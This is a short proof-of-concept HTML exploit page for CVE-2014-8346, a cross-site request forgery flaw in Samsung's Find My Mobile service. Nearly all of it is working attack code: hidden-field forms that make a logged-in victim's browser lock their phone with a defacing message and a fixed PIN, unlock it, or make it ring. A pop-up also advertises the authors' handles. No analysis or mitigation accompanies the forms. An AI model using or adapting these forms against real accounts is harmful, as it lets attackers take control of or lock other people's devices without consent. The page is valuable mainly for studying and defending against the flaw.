POC CVE-2014-8346 (Samsung CSRF)

<html>
<h2>Samsung Account - Remote Mobile Device Lock CSRF VUlnerability</h2>
<body><script>alert('Follow: @DosPerl')</script>
<form action="http://findmymobile.samsung.com/dm/ajax/lockMyMobilePhone.do" method="POST">
<input type="hidden" name="" value=""/>
<input type="hidden" name="lockMessage" value="This&#32;Device&#32;has&#32;been&#32;Locked&#32;by&#32;&#64;CrashBandicot" />
<input type="hidden" name="nationalityNumber" value="&#43;20" />
<input type="hidden" name="restrictionNumber" value="my number phone" />
<input type="hidden" name="pinCode" value="1088" />
<input type="submit" value="Submit form" />
</form>
<h2>Samsung Account - Remote Mobile Device UnLock CSRF VUlnerability</h2>
<form action="http://findmymobile.samsung.com/dm/ajax/lockreleaseMyMobilePhone.do" method="POST">
<input type="submit" value="Submit form" />
</form>
<h2>Samsung Account - Remote Mobile Device Ring CSRF VUlnerability</h2>
<form action="http://findmymobile.samsung.com/dm/ajax/ringMyMobilePhone.do" method="POST">
<input type="hidden" name="" value=""/>
<input type="hidden" name="message" value="Lost&#32;Device" />
<input type="hidden" name="fmmVer" value="message" />
<input type="submit" value="Submit form" />
</body>
</html>